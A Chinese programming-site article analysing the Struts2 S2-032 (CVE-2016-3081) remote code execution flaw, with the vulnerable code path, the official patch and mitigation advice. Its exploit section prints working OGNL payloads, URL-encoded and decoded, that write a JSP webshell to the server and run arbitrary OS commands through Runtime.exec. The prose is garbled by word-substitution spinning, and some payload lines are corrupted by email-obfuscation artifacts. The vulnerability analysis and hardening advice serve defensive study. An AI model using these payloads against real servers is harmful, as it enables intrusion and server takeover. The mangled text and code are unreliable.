程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> JAVA編程 >> 關於JAVA >> Struts2 破綻剖析及若何提早預防

Struts2 破綻剖析及若何提早預防

編輯:關於JAVA

Struts2 破綻剖析及若何提早預防。本站提示廣大學習愛好者:(Struts2 破綻剖析及若何提早預防)文章只能為提供參考,不一定能成為您想要的結果。以下是Struts2 破綻剖析及若何提早預防正文


    2016年4月26日,Apache Struts2官方又宣布了一份平安通知布告:Apache Struts2 辦事在開啟靜態辦法挪用的情形下可以長途履行隨意率性敕令,官方編號 S2-032,CVE編號 CVE-2016-3081。這是自2012年Struts2敕令履行破綻年夜范圍迸發以後,該辦事時隔四年再次迸發年夜范圍破綻。該破綻也是本年今朝爆出的最嚴重平安破綻。黑客應用該破綻,可對企業辦事器實行長途操作,從而招致數據洩漏、長途主機被控、內網滲入滲出等嚴重平安威逼。

    破綻產生後,又是一次平安和相干公司的一次個人嘉會,破綻應用者在盡量的應用此次破綻來顯示程度的高明;各年夜眾測平台紛纭宣布中招公司,來晉升平台的感化;各年夜平安公司也充足應用此次破綻來進步公司的影響力,借重營銷,甚麼收費檢測,第一時光進級等。還剩一年夜堆愁悶的廠家,我沒招誰沒惹誰啊;然後就是年夜量的苦悶的開辟運維人員要連夜進級破綻補釘。

    然則對破綻的道理傷害影響防護等少有說起。本文就是針對以上幾點提出本身的看法。

道理

    這個破綻是應用struts2的靜態履行OGNL來拜訪隨意率性java代碼的,應用該破綻,可以掃描長途網頁,斷定能否存在該類破綻,進而發送歹意指令,完成文件上傳,履行本機敕令等後續進擊。

    OGNL是Object-Graph Navigation Language的縮寫,全稱為對象圖導航說話,是一種功效壯大的表達式說話,它經由過程簡略分歧的語法,可以隨意率性存取對象的屬性或許挪用對象的辦法,可以或許遍歷全部對象的構造圖,完成對象屬性類型的轉換等功效。

#、%和$符號在OGNL表達式中常常湧現

1.#符號的用處普通有三種。

拜訪非根對象屬性,例如#session.msg表達式,因為Struts 2中值棧被視為根對象,所以拜訪其他非根對象時,須要加#前綴;用於過濾和投影(projecting)聚集,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0];用來結構Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。

2.%符號

%符號的用處是在標記的屬性為字符串類型時,盤算OGNL表達式的值,這個相似js中的eval,很暴力。

3.$符號重要有兩個方面的用處。

在國際化資本文件中,援用OGNL表達式,例如國際化資本文件中的代碼:reg.agerange=國際化資本信息:年紀必需在${min}同${max}之間; 在Struts 2框架的設置裝備擺設文件中援用OGNL表達式。

代碼應用流程

1、客戶端要求

http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}

2、DefaultActionProxy的DefaultActionProxy函數處置要求。

protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
  this.invocation = inv;
  this.cleanupContext = cleanupContext;
  LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName);
 
  this.actionName = StringEscapeUtils.escapeHtml4(actionName);
  this.namespace = namespace;
  this.executeResult = executeResult;
  //進擊者可以經由過程變量傳遞、語法補齊、字符本義等辦法停止繞過。
  this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));
}

3、DefaultActionMapper的DefaultActionMapper辦法method辦法名

String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
   int bang = name.indexOf('!');
   if (bang != -1) {
     //獲得辦法名
     String method = cleanupActionName(name.substring(bang + 1));
     mapping.setMethod(method);
     name = name.substring(0, bang);
  }
}

4、挪用DefaultActionInvocation 的invokeAction辦法履行傳入的辦法。

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();
 
  LOG.debug("Executing action method = {}", methodName);
 
  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
 
    Object methodResult;
    try {
      //履行辦法
      methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
    } catch (MethodFailedException e) {

處理方法

官方的處理方法是在第三步中的函數cleanupActionName增長了校驗。

protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
protected String cleanupActionName(final String rawActionName) {
  //校驗,輸出過濾正則婚配("[a-zA-Z0-9._!/\\-]*"),這是采用白名雙方式,只許可年夜小寫字母、數字等無限字符。
  if (allowedActionNames.matcher(rawActionName).matches()) {
    return rawActionName;
  } else {
    if (LOG.isWarnEnabled()) {
      LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!",
          rawActionName, allowedActionNames);
    }
    String cleanActionName = rawActionName;
    for (String chunk : allowedActionNames.split(rawActionName)) {
      cleanActionName = cleanActionName.replace(chunk, "");
    }
    if (LOG.isDebugEnabled()) {
      LOG.debug("Cleaned action/method name [#0]", cleanActionName);
    }
    return cleanActionName;
  }
}

修復建議

1、禁用靜態辦法挪用

修正Struts2的設置裝備擺設文件,將“struts.enable.DynamicMethodInvocation”的值設置為false,好比:

<constantname="struts.enable.DynamicMethodInvocation" value="false"/>;

2、進級軟件版本

進級Struts版本至2.3.20.2、2.3.24.2或許2.3.28.1

補釘地址:https://struts.apache.org/download.cgi#struts23281

破綻應用代碼

1、上傳文件:

method:%23_memberAccess%[email][email protected][/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

下面的代碼看起來有點不便利,我們停止轉換一下在看看。

method:#[email protected]@DEFAULT_MEMBER_ACCESS,
#[email protected]@getRequest(),
#[email protected]@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w=#res.getWriter(),
#path=#req.getRealPath(#parameters.pp[0]),
new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),
#w.print(#path),
#w.close(),1
?#xx:#request.toString&
shellname=stest.jsp&
shellContent=tttt&
encoding=UTF-8&pp=/

2、履行當地敕令:

method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8

異樣我們經由轉換在看一下

method:#_memberAccess[#parameters.name1[0]]=true,
#_memberAccess[#parameters.name[0]]=true,
#_memberAccess[#parameters.name2[0]]={},
#_memberAccess[#parameters.name3[0]]={},
#[email protected]@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w#d#res.getWriter(),
#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).
useDelimiter(#parameters.pp[0]),
#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?
#xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp= &encoding=UTF-8

經由過程之前的引見,發明轉換後照樣比擬輕易懂得的。

若何預防

    平安中有個異常主要的准繩就是最小權限准繩。所謂最小特權(Least Privilege),指的是"在完成某種操作時所付與收集中每一個主體(用戶或過程)必弗成少的特權"。最小特權准繩,則是指"應限制收集中每一個主體所必需的最小特權,確保能夠的變亂、毛病、收集部件的改動等緣由形成的喪失最小"。

    好比在體系中假如沒有效到靜態辦法挪用,在安排的時刻就去失落,如許即便補釘沒有打,仍然不會被應用。

    在這個體系中最主要的傷害之一是履行當地過程,假如體系沒有履行當地停止的需求,也能夠禁用。

我們看一下java代碼中履行當地敕令的代碼,ProcessImpl中的ProcessImpl。

 private ProcessImpl(String cmd[],
            final String envblock,
            final String path,
            final long[] stdHandles,
            final boolean redirectErrorStream)
    throws IOException
  {
    String cmdstr;
    SecurityManager security = System.getSecurityManager();
    boolean allowAmbiguousCommands = false;
    if (security == null) {
      allowAmbiguousCommands = true;
      //jdk曾經指定了參數來標識能否可以履行當地過程。
      String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
      if (value != null)
        allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
    }
    if (allowAmbiguousCommands) {

在java啟動的時刻加上參數 -Djdk.lang.Process.allowAmbigousCommands=false,如許java就不會履行當地過程。

假如在體系安排的時刻能提早把不用要的內容關失落,可以會削減或許根絕這個破綻的傷害。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved